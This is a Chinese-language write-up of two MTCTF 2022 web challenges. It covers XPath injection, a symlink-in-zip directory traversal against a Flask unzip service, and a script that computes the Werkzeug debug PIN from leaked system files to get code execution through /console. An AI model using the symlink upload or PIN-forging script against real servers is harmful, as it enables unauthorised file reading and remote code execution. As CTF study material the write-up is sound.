MTCTF 2022
babyjava
直接搜Xpath注入工具
https://www.zhihuifly.com/t/topic/370
按照对应的URL与post传参
按说明一层层爆出结果,最终文档树如下
root
user
username(flag在里面)
flag{273f7d50-2f92-47ba-b5d4-358ae3add895}
OnlineUnzip
源码
import os
import re
from hashlib import md5
from flask import Flask, redirect, request, render_template, url_for, make_response
app=Flask(__name__)
def extractFile(filepath):
extractdir=filepath.split('.')[0]
if not os.path.exists(extractdir):
os.makedirs(extractdir)
os.system(f'unzip -o {filepath} -d {extractdir}')
return redirect(url_for('display',extractdir=extractdir))
@app.route('/', methods=['GET'])
def index():
return render_template('index.html')
@app.route('/display', methods=['GET'])
@app.route('/display/', methods=['GET'])
@app.route('/display/<path:extractdir>', methods=['GET'])
def display(extractdir=''):
if re.search(r"\.\.", extractdir, re.M | re.I) != None:
return "Hacker?"
else:
if not os.path.exists(extractdir):
return make_response("error", 404)
else:
if not os.path.isdir(extractdir):
f = open(extractdir, 'rb')
response = make_response(f.read())
response.headers['Content-Type'] = 'application/octet-stream'
return response
else:
fn = os.listdir(extractdir)
fn = [".."] + fn
f = open("templates/template.html")
x = f.read()
f.close()
ret = "<h1>文件列表:</h1><br><hr>"
for i in fn:
tpath = os.path.join('/display', extractdir, i)
ret += "<a href='" + tpath + "'>" + i + "</a><br>"
x = x.replace("HTMLTEXT", ret)
return x
@app.route('/upload', methods=['GET', 'POST'])
def upload():
ip = request.remote_addr
uploadpath = 'uploads/' + md5(ip.encode()).hexdigest()[0:4]
if not os.path.exists(uploadpath):
os.makedirs(uploadpath)
if request.method == 'GET':
return redirect('/')
if request.method == 'POST':
try:
upFile = request.files['file']
print(upFile.filename)
if os.path.splitext(upFile.filename)[-1]=='.zip':
filepath=f"{uploadpath}/{md5(upFile.filename.encode()).hexdigest()[0:4]}.zip"
upFile.save(filepath)
zipDatas = extractFile(filepath)
return zipDatas
else:
return f"{upFile.filename} is not a zip file !"
except:
return make_response("error", 404)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8000, debug=True)
总结就是会对上传的文件重命名解压,并且在访问文件时通过../
来执行目录穿越,没关系我们直接用软连接
可以看到x时一个指向根目录的软连接,压缩,上传,访问,目录穿越可以进行任意的文件读取了
但是这时候我们直接点击flag发现无法读取并且报错,可能没有权限并且debug模式是开启的,那我们可以考虑通过计算PIN值打开console来RCE
所需的文件如下:
/sys/class/net/eth0/address
/etc/machine-id
/proc/sys/kernel/random/boot_id #本题环境存在machine-id所以不需要boot_id了
/proc/self/cgroup
使用脚本来计算PIN值
import hashlib
from itertools import chain
probably_public_bits = [
'ctf'# /etc/passwd
'flask.app',# 默认值
'Flask',# 默认值
'/usr/local/lib/python3.8/site-packages/flask/app.py' # 报错得到
]
private_bits = [
'95532648517',# /sys/class/net/eth0/address 16进制转10进制
'96cec10d3d9307792745ec3b85c896207445bfc71ac17f0f2e5d5488c55c3346ea36da9d417b8f57364ddc5081f3f9b1'# /etc/machine-id+/proc/self/cgroup
]
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
直接访问/console RCE
flag{8fd00724-65fe-4c1c-a13d-83b4fc68c8aa}